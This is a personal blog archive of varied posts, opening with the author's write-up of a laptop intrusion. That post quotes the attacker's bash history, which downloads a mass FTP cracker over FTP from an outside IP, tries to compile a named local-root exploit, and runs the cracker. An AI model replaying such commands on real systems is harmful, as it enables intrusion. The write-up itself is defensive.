Hacked

At about 6 in the morning, I finished watching Lost In Translation on my computer and was about to go to bed, when I noticed my processor was running at 100%. I thought that was strange, perhaps a rouge process, so I ran top and saw the program ./KaHT 205 run by the user ibm was taking up all my cpu.

Right away I knew I’d been hacked. The ibm user was a dummy user I’d created to allow the ibm tech support to log in to my laptop when I sent it in to be repaired. I pulled the network immediately and started tracing what had happened.

First of all whoever hacked my computer was a tard. He didn’t take any steps to hide his tracks. For instance here is his bash history.

su
su
exit
passwd
dpkg -l osh|grep ^ii
vi blue.c
gcc blue.c -o blue;./blue
ftp 200.9.37.50 
ls
tar -xvf KaHT-ftp.tar
rm KaHT-ftp.tar
rm -rf KaHT-ftp/
exit
mkdir. h
mkdir .h
cp KaHT-ftp.tar .h
rm KaHT-ftp.tar
cd .h;ls
tar -xvf KaHT-ftp.tar
cd KaHT-ftp/;ls
rm *.out
nohup ./KaHT 205

So how did he get in. Here’s my auth.log

Dec 17 04:56:44 quaternion login[15415]: (pam_unix) session opened for user ibm by (uid=0)
Dec 17 05:00:06 quaternion login[15543]: (pam_unix) session opened for user ibm by (uid=0)
Dec 17 05:00:16 quaternion passwd[15568]: (pam_unix) password changed for ibm
Dec 17 05:00:16 quaternion passwd[15568]: (pam_unix) Password for ibm was changed
Dec 17 05:12:17 quaternion ftpd[16124]: (pam_unix) session opened for user ibm by (uid=0)
Dec 17 05:12:27 quaternion ftpd[16124]: (pam_unix) session closed for user ibm
Dec 17 05:12:44 quaternion login[16142]: (pam_unix) session opened for user ibm by (uid=0)
Dec 17 05:20:40 quaternion sshd[16556]: Accepted keyboard-interactive/pam for ibm from 200.88.29.231 port 50907 ssh2
Dec 17 05:20:40 quaternion sshd[16565]: (pam_unix) session opened for user ibm by (uid=0)

Dec 17 04:56:38 quaternion in.telnetd[15414]: connect from 200.88.29.231

So it looks like he connected to my machine via telnet and then managed to get a login shell to the user ibm. How he did that I don’t know. Then he changed the password for ibm, opened up vi and pasted in a 2.6 kernel exploit “-bluez local root exploit v.0.9 -by qobaiash@u-n-f.com”. And tried to compile it. He failed because I don’t have the necessary bluetooth include files on my system. So he gives up and connects to an ftp server to download KaHT. KaHT is a “mass FTPD scanner/cracker” filled with script kiddie strings like

Greetz: all endiv's around the world
all brutal ppl who know about that bruteforce will NEVER DIE

One interesting thing to note is that the first thing he did after changing the passwd was to check if the osh package was installed. Here is what osh is

The Operator Shell (Osh) is a setuid root, security enhanced, restricted
 shell. It allows the administrator to carefully limit the access of special
 commands and files to the users whose duties require their use, while
 at the same time automatically maintaining audit records.

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Tiny Mix Tapes

Now, the making of a good compilation tape is a very subtle art. Many do’s and don’ts. First of all you’re using someone else’s poetry to express how you feel. This is a delicate thing…

[It] is hard to do and takes ages longer than it might seem. You gotta kick off with a killer, to grab attention. Then you got to take it up a notch, but you don’t wanna blow your wad, so then you got to cool it off a notch. There are a lot of rules. –Nick Hornby (High Fidelity)

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Laser Etched Powerbook

Some guys from Squid Labs—a group of dudes from MIT, who are living fort-awesome’s dream ( they have their own engineering firm and warehouse)–laser etched a powerbook with the tarsier from the cover of O’Reilly’s Learning the vi editor. Not only is that totally awesome. But they picked an incredible image.

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images.jfat.org

…is back up. And you know what that means. You got it crotch shots:

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Intersecting Spheres

Computing this intergal is hot:

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Indie Goodness

Okay I’m slowly trying get back into this whole blog thing. Here’s some indie goodness for your listening/viewing pleasure.

I’ve been listening to Clap Your Hands Say Yeah’s album alot. Their website has some songs off their album. Upon This Tidal Wave of Young Blood and Over and Over Again. Beside any band that has a song named By the Skin of my Yellow Country Teeth is cool in my book.

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MIT Researchers Discover Each Other

While attempting to isolate a gene key to the development of an autoimmune disorder Monday, MIT’s Dr. Stephen Burch and Dr. Caryn Song made a breakthrough discovery: each other. “I was examining some tissue when my microscope broke,” Burch said. “Caryn offered to share her’s, and each of us looked at the tissue through one of the eyepieces. Our cheeks lightly touched, and I looked over and realized how beautiful she looks without her glasses. I always saw her as a respected colleague, but now I saw her as a woman.” A process of trial-and-error sexual experimentation commenced later that evening, continuing well into the night.

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Changes in the Land

I remember when I was a freshman Amrys telling me about this great book she was reading called Changes in the Land and a small anecdote the author had related about the indian name for a river. Turns out its now a pop-culture reference.

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The Cavalry!

The cavalry has arrived, and now I’m happy to hear the superdome, the convention center, and the freeways are clear of people. Thanks, in no small part I’m sure, to Lt. Gen Honore–the only real leader in the Katrina aftermath. In an interview Mayor Nagin said:

Now, I will tell you this — and I give the president some credit on this — he sent one John Wayne dude down here that can get some stuff done, and his name is [Lt.] Gen. [Russel] Honore.

And he came off the doggone chopper, and he started cussing and people started moving. And he’s getting some stuff done

And the general doesn’t seem to be without a heart either. A CNN reporter who accompanied him into the city reported that he kept screaming at the National Guard troops to keep their rifles pointing down, that “this isn’t Iraq.”

When he saw a young woman, with two babies in her hands, nearly faint from exhaustion, he stopped commanding, called in an immediate medevac and got her, another woman with a child, the reporter and himself, on a Coast Guard helicopter, and flew directly to a Coast Guard vessel.

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The breakdown of media

Katrina is the biggest disaster in the history of the United States—and you can really feel that by watching the media coverage.

Normally the media’s role in a crisis is ceremonial–it begins the process of healing and provides reassurance that the nation and the foundation of our society/culture is intact. But this disaster is just too enormous. Civilization and society has completely broken down in New Orleans.

The breakdown of the media’s role is evident in the emotions of the reporters, broadcasters and the government.

Fox’s Shepard Smith, who has been on the ground in New Orleans since the hurricane struck, has become depressed and despondent. On Thursday he was on the verge of tears as he showed a the body of an elderly man lying on the side of the freeway.

Jeff Goldbatt, a Fox reporter who was in downtown New Orleans until Wednesday night, is now reporting from the Astrodome. His face is stoic and grim.

Since yesterday every announcer on CNN has been frustrated and outraged with the government’s role in crisis. They have finally begun to get tired of the empty promises of the government officials. Last night Anderson Cooper lectured Senator Landerieu “about rats knawing at dead bodies”. American Morning, host Carol Costello began crying today as she signed off. For two days now, Soledad O’Brian has been giving people hell in every on-air interview, laying into the Homeland security secretary and the FEMA director.

Even the government officials have broken down. The first images I saw of Governor Blanco this morning, showed her in tears. Mayor Nagin gave a radio interview, in which he vented his frustration and ended with him in tears.

My grandma and I have been watching the news for a week now, and I think were both becoming frustrated, distraught and depressed.

Everyone seems to be asking the same questions. Why has it been a week and still no relief? Where is the national guard? Why aren’t they in the city in force? How is it possible that CNN and FOX can get reporter’s into and out of the city and FEMA can’t get the national guard or reief efforts in? Tsunami victims reveived air drops of food and water within two days–New Orleans is a major American city and it still has not recevied air drops.

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Katrina

For the past several days I’ve been glued to the television watching the aftermath of Hurricane Katrina. I never thought I would see the destruction of an entire city and region of America.

My aunt and her family live in St. Bernard parish, which according to reports is under as much as 12 feet of water. Although they are safe in Jackson, Mississippi, they fear they will have no home to return to.

When I was little I spent almost every summer at my aunt’s house in New Orleans, and my great Grandmother’s house in Picayune, Mississippi. Its an eerie feeling now to hear the names of such familiar places associated with mass devastation. And each day the news seems to get worse. I can’t imagine being trapped in an attic or on a roof, without food or water for what will be the third night.

What makes this disaster so devastating is the total lack of modern infrastructure. New Orleans is without food, water, power, and phones. The roads and highways into the city are all either destroyed or nearly impassable. What is startling is the lack of information flow into and out of the city and the surrounding suburbs. You can see how detrimental this lack of information is to the FEMA, the NOPD, the NOFD, and the national guard. The only way to get information appears to be via satellite phone (which is what all the news reporters are using to broadcast).

What is needed for these type of disasters, where all communication infrastructure is knocked out, is an agile communication network. Imagine a hundred communication buoys that you could drop out of an airplane over the city. Once on the ground or in the water the buoys would assemble into an ad hoc network and figure out how to route packets to each other. Bigger buoys placed along the edges of the network might contain satellite transmitters and receivers. The buoys would act as low range cellphone towers, talking CDMA, and providing a cellular network across the city. Each buoy would be battery powered and the smart enough so that if another buoy lost power or was destroyed during landing, the network could route around the lost link.

Just an idea… maybe Muth could develop it for the MIT/Military design competetion. It would certainly be more interesting than a new strap …

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A Web Comic only Wally could Love

…or really anyone who hearts David Foster Wallace. Cat and Girl is awesome. The drawings are also amazing.

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Palette hax0ring

I ran across Dan Cederholm’s question about recoloring GIF images and immediatley thought of Ian’s famous palette swaping trick for displaying the status of the bathroom server.

I looked into writing the palette header a GIF file directly, which I think is the way the bathroom server does it, but that looked too complicated. Then I remembered the SNG file format, which provides a nice textual representation of PNGs. So I whipped up The Simple Palette Swapper which lets you change palette entries in a test image.

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Muth’s Crazzzy trip to Japan

At the beginning of the summer my friend Andrew Muth spent 18 days in Japan. He slept in a tube, spent all his money, lost his credit card, and we were placing bets on whether he would return. But he did… and now he has pictures from his adventure.

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Google Maps Pedometer Hack

There is a great hack for google maps which lets you create a route and measure the total distance. Because you can zoom in and provide a large number of points it is great for seeing how long your walk to work is everyday.

I created a few of my most traveled trips around MIT. It also provides a much needed weighting factor when deciding where to get food. Perhaps bigtime could incorporate this data into his sandwich server.

• Senior Haus to Random: .69 miles
• Senior Haus to Trident Bookstore: 1.09 miles
• Random Hall to Picante:.47 miles
• Random Hall to the new Subway (Central):.42 miles
• Random Hall to Subway (Back Bay):.92 miles
• Random Hall to S and S: 1.03 miles (but if we took Columbia->Broadway->Prospect we could get it down to .98)
• Senior Haus to S and S: 1.28 miles (this is a new route my old one took 1.46 miles)
• Random Hall to Cindys/Pu Pu Hot Pot: .15 miles

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Graduation, Australia, and my plans for the summer

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I’m done.

I haven’t slept in 27 hours. I just finished my last class at MIT. I flipped my brass rat around.

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The Hot Jameco Girl

If you read the Jameco catalog as much as we do here at Fort Awesome you’ll notice a hot telephone girl appears on almost every page. She also appears on the front page of reytech. Jim tracked her down on Getty Images. She’s royalty free image AA022176 on photodisc red. Muth you may now construct your shrine.

{/computers} permanent link | (1 comment)

Plotter Cam

So once I got the QuickCam Pro 3000 outputting an image every second I thought it would be pretty easy to have a webpage that continually refreshed the page. Turns out this is kinda bitch. There are several options: a Java based image loader embedded in the webpage,a javascript function that refreshes the page, a meta tag in the html, or a server push. I tried all of these methods but was unsatisfied with all but the latter. This page has a good article explaining how to construct the multipart-jpg. To paraphrase your html page needs a tag:<img src=”nph-webgrab.cgi”>. Apparently the nph in the front of the name tell the browser not to cache the data.

Then the script nph-webgrab.cgi should look as follows:

#!/usr/bin/perl
#path to continually updating image
$image = "../webgrab.jpg"
#time to wait before sending a new image 
$delay = 1;

print "HTTP/1.0 200 Document follows\n";
print "Content-type: multipart/x-mixed-replace;boundary=goober\n\n";

while(true){
    print "\n--goober\n";
    print "Content-type: image/jpeg\n\n";

    open(IN, $image);
    
    while (read(IN, $buffer, 4096)){
        print $buffer;
    }    
    close($image);
    sleep($delay);
}
print "\n--goober--\n";
exit 0;

Anyway I now have a plotter cam. Stay tuned for web-based plotter etch-a-sketch.

{/computers} permanent link | (5 comments)

QuickCam Pro 3000

For my final project in my non-linear narrative class I’ll be using my friend ariel’s webcam. The QuickCam Pro 3000 uses the pwc module under linux (which was mired in controversy a while back because of the binary only pwcx extension). To get the 640x480 resolution out of the camera you used to have to use the pwcx module. However the new pwc module (maintained here) now supports VGA resolution. To install the new pwc module under linux do the following:

1. Get the newest pwc-source module from here. Currently that is pwc-source_10.0.7-2_all.
2. make sure you have the appropriate kernel-headers installed (you might need to: sudo apt-get install kernel-headers-`uname -r`)
3. sudo apt-get install module-assistant
4. sudo dpkg -i pwc-source_foo.deb (where foo is the current version of the pwc-source package)
5. run module assistant and select the pwc module, then build and install it
6. sudo modprobe pwc (you might want to explicitly set the vga mode via: modprobe pwc size=vga)
7. sudo apt-get install camstream camorama vgrabbj
8. sudo adduser $USER video (to add yourself to the video group. make sure to log out and log back in for this to take effect)

And that should be it. You should be able to view output from the webcam with camorama, or grab frames from it directly with vgrabbj (you’ll need to tell vgrabbj that you want 640x480 with the -i vga option).

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Ouch internet that hurts

Story of my life it seems.

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The DraftMaster (Happy Impedance Matching)

RS232 Null modem cable:
This cable connects a female DB9 coming from the computer
to the male DB25 going into the Plotter.
    Plotter                                Computer
  25 Pin Male Connector                       9 pin female
    25 pins                                   9 pins
  (tx)   2 -------------------------- 2 (rx)
  (rx)   3 -------------------------- 3 (tx)
  (rts)  4 -------------------------- 8 (cts)
  (cts)  5 -------------------------- 7 (rts)
  (dsr)  6 -------------------------- 1,4 ( cd,dtr)
      20,8--------------------------- 6
   (GND) 7 -------------------------- 5 (GND)

And surpisingly it worked right off the bat. So now I can create totally hot plots, like the Smith chart below, and these sample plots. You can also watch a movie of the DraftMaster doing its thing. Its quite exciting to watch it plot in person; kinda like watching Bob Ross, only ten times faster.

A Smith chart created with the DraftMaster

{/computers} permanent link | (6 comments)

Hmm?

Notice anything?
ganeff v.s. repak.

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New Domain Name!!

Since I’ll probably be leaving MIT next term I figured now would be a good time to set up a domain name. The tough part: what name. Because all of the words in the dictionary (even the obscure scientific dictionaries) are already taken I created a list of tech Combo words. Then formed a bunch of different combinations until I found one that was sufficently cool and not registered.

Heres the list of combowords:

• Ink
• Bit
• Binary
• Bonasi
• Wise
• Scape
• Orrery
• Frag
• Post
• Air
• Magnet
• Text
• Code
• Semi
• Spline
• Plot
• Graph
• Meta
• Print
• Blue
• Lambda
• Scheme
• Scope
• Bucket
• Waste
• Wire
• Blit
• Net
• Tele
• Stop
• Hex
• Safe
• Deluge
• Squall
• Splice
• Byte
• Pagoda

And my new domain is bitpost.net. Check out its perfect DNS report. But don’t look at Riad’s or George’s.

{/computers} permanent link | (4 comments)

Auto Fragging

A while ago I posted a perl script to generate frags of eps files produced by Mathematica. As jim and fellow members of Fort-Awesome noticed the script did not take into account the alignment of the text. So I wrote another that does. The new script detects duplicate tags with different alignments and will generate new eps files with duplicate tags removed.

Here is the output of the corrected mathfrag.

{/computers} permanent link | (3 comments)

Gallery Sucks Google-Whack

So I was trying to fix Michelle’s gallery so I googled for the error, and this appeared:

{/computers} permanent link | (10 comments)

St. Patrick’s Day

I just walked by the Cambridge firehouse and heard/saw all the firemen inside playing bagpipes and marching.

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Automtatic PSFrags

Tired of fragging your Matlab, Mathematica and Octave graphics by hand? Here are some tiny perl scripts that will generate the TeX psfrag commands for matlab, mathematica and octave eps files. I find these scripts very useful for converting tick marks on graph axes.

To use: ./matlabfrag.pl input.eps
No need to thank me just doing my part to rid the world of ugly figures and fonts.

Alternativley, matlab users might want to look at laprint from here. (Although I’ve never needed to use it)

Check out this hot figure made with the help of the mathematica script:

{/computers} permanent link | (10 comments)

RMS
Hehe:

dude, richard stallman totally crashes on my mom’s boyfriends’ couch. he was living in his office, and it was TOTALLY GROSS. MIT was totally grossed out, so they told him he had to move out. he hit up my mom’s guy for couch space and a mailing address, but in real life he still lives in the office. he can totally program it up but you wouldn’t exactly want to sit next to him on the bus, if you know what I’m sayin’. fo’serious.

-fish

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Dairy Queen

Dairy Queen makes the best hamburgers (something about their special sauce), so everytime I go home I have to get one. But it looks like there’s a location a mere 19 miles (22 minutes) from me that serves hamburgers. It’s Harold and Kummar time…

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Yo Yo Yo

I just got h4x0r3d by teh chin33z. Azns rulex0r.

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Fixed: Oldest Bug in Debian

Jim and I fixed the oldest bug in Debian. Bug #725: twm sometimes places windows incorrectly. The bug would have turned ten this April. The next oldest bug is just a few weeks younger.

{/computers} permanent link | (2 comments)

The 2007 Ring

The class of 2007 had their ring premier tonight. The design has lots of Sox stuff and a woman (at least this year she’s not holding a laptop). But to me the brass rat represents the tradition of MIT, the Mens et Manus seal is part of that tradition and shouldn’t be changed. I just wish the ring committe had read the DO/DON’TS of using the MIT seal.

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Cool

Well, I won’t have to be a bum next year, I’ve been accepted into grad school in applied math at the University of Colorado at Boulder. I might fly to Colorado to check the school out in a few weeks. Now if I the other schools I applied to would just hurry up and decide.

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I am legal

Last week I turned 21. A bunch of us went out to my favorite restaurant, Piccola Venezia, in the North End. Then back to random for home-made apple pie, thanks to Michelle. Anyway it was awesome. And on friday I had my first (legal) Guinness at the People’s Republic. I haven’t blogged in a while but I want to thank everybody who came, and May and Riad, who couldn’t make it, but wished me a happy birthday, and made promises of future debauchery. You guys rock.

{/life} permanent link | (6 comments)

Free Wifi

There’s free wifi throughout the portland airport, which means I can actually ssh into my computer and write a blog entry (lucky for you eh, you know you were getting tired of looking at the HTSIBWRT picture).

I’ll be boarding an America West flight to Las Vegas soon. But free wireless means I can check my email and read everybody’s blogs, something I haven’t had a chance to do since I got home to Oregon. Luckily, not everybody was as neglectful of their blogs.

I’m stoked to get back to Boston for a hundred different reasons. Michelle is on top of my list, followed by winter school and 6.370 with Sam and Gautham.

The stewerdess are jabbering on the loud speaker so it looks like I’m getting ready to board. See you in boston.

{/computers} permanent link | (5 comments)

How to Succeed in Business Without Really Trying

I went to see Michelle in MTG’s presentation of How to Succeed in Business Without Really Trying tonight. I thought Michelle was amazing but I’m a little biased. The show was also the most elaborate play I’ve seen at MIT. It was absolutely hilarious–you should go see it.

“I’m spreading a rumor…”

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Caution Nerd Joke!!

How to pick up chicks with postscript.

{/computers} permanent link | (1 comment)

Thanksgiving and Grad Apps

Hope everyone had a good thanksgiving. I’m here at Random, and did the whole the-dorm-does-thanksgiving-thing, then started filling out grad school applications. It’s weird around here: everybody is gone. To be honest I’m a little lonely and bored and kinda miss my friends and family.

Luckily, I discovered I only have to worry about one application right away–the rest aren’t due till after finals. That’s a big load off my plate. It’s still really frustrating to fill out Grad Applications–for some reason they make me feel totally stupid.

Like the letter of recommendation application which asks your teacher/recommender to rate you the following way (if applicable):

• Best student this year
• Best student in five years
• Best student in ten years
• Best student in ____ years

I feel like I’ve been lucky/(put in an assload of effort) to survie MIT. I’m proud of some of my accomplishments (like last term–which was a total bitch) but I would certainly never consider myself the Best student. Geez, imagine who the best student in ten years is in the math department. That guy/girl has to be a real genius/social outcast. Fuck, I just work hard and enjoy what I do.

Here’s another one:

• List articles, books, or any other material published, or any inventions patented:
• List academic honors, prizes, fellowships, scholarships, traineeships, or honorary scholarships you have received, or honor societies to which you have been elected:

Uhh yeah…was a little busy getting my ass kicked to patent my invention of the first quantaum computer. Oh yeah and The Journal of Applied Fluid Dynamics for Lattice Gases hasn’t gotten back to me about my article…shucks. Sorry no academic honors, prizes, fellowships, scholarships, traineeships, or honor socities either–unless you count math camp and a summer internship (maybe that’s what they mean by traineeships).

These sort of questions make me realize how different my life would have been if I’d gone to another school. Maybe if I’d gone to Poodunk U. I could have been the “best student this year”.

Oh well…enough angst for now. Apologies dear readers.

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Mean Girls

I’ve wanted to see Mean Girls since I saw first saw it’s previews. To be honest I didn’t care how crappy the movie looked, I just wanted to drool over Lindsay Lohan for an hour and a half. But I was too embarrassed to actually spend money to see it at the theater or LSC. So when a friend of mine bittorrented it I asked him place it on mythtv.

I was expecting Mean Girls to be another teen movie, but instead it turned out to be a hilarious satire on high school life. Certain moments, like the table by table, clique by clique, description of the cafeteria spoke truthfully of the high school experience. And Lohan’s voice-overs are so witty and insightful they’re reminiscent of Edward Norton’s narration in Fight Club.

As the title suggest, Mean Girls is ultimately about the relationships between teenage girls. In it’s representation of these relationships Mean Girls transcends the teen genre and approaches social commentary. Cady, the Lohan character, plays a double role; at once part of the “plastics”, the elite group of popular and bitchy girls, and the “artsy” alternative crowd.

The core of the movie deals with Lohan trying to reconcile her place between these two extremes. Both of these groups, as well as Lohan’s character are treated with a rich complexity. Your forced to feel sympathy for the queen bitch, Regina George, when her friends kick her out of their table for wearing sweat pants and she replies “Sweat pants are the only thing that fits me lately.” On the other hand you can’t completely sympathize with the “artsy” Janis Ian, who wants to hurt Regina for humiliating her in 8th grade.

Cady herself isn’t simple. She tries to be tolerant and kind but over time she finds herself becoming a “plastic”, and dangerously enjoying it. She tries to convince herself and the audience, “I know it may look like I was being a bitch, but that was only because I was acting like a bitch.”

The climax occurs when the female population of the school engages in an all out brawl. The girls are forced to attend a “workshop” and are stunned to discover how horrible they treat each other. Mrs. Norbury, the intelligent, kind math teacher forces the girls to realize how hurtful they can be. Mrs. Norbury roughly says, “When you call each other sluts and whores you make it easier for boys to call you that.”

All of the relationships between females are rendered with complexity. The Regina’s, and Lohan character’s relationship with their mothers are especially complicated. Lohan asks her dad, “is mom mad at me?” to which he replies, “No, she’s just scared of you.” And Regina treats her mother as subservient, ordering her around, while the mother tries to relive her youth through Regina.

Interestingly enough, Mrs. Norbury is a mathematics teacher, and we discover that not only is Lohan a “hottie” but she also has an astonishing ability for math. That her ability lies in math is crucial, and breaks many traditional gender stereotypes. Such as those exemplified in talking Barbie’s famous quote, “Math is hard.”

Although the movie treats female relationships with complexity, it shys away complicating the standard heterosexual romantic relationship, with the stereotypical girl-gets-boy-she’s-been-pining-after ending. Additionally, it uses Lohan’s originating story as a girl home-schooled by her Professor parents in Africa as a crutch. The metaphor of teenage rituals as animalistic–straight out of the safari–works well, but relies on a stereotypical portrayal of Africa.

The credit for Mean Girl’s wit and social commentary goes to Tina Fey, the performer/head writer for SNL (famous for her newscasts alongside Jimmy Fallen). Fey plays Mrs. Norbury excellently and also crafted the screenplay from an adaptation of Rosalin Wiseman’s “nonfiction dissection of teenage girl social interaction, ‘Queen Bees and Wannabes: Helping Your Daughter Survive Cliques, Gossip, Boyfriends and Other Realities of Adolescence.’” Something I will surely have to read.

I’d put Mean Girls on the list with My So Called Life, Daria, and His and Her Circumstances as a defining teenage text.

{/literature} permanent link | (9 comments)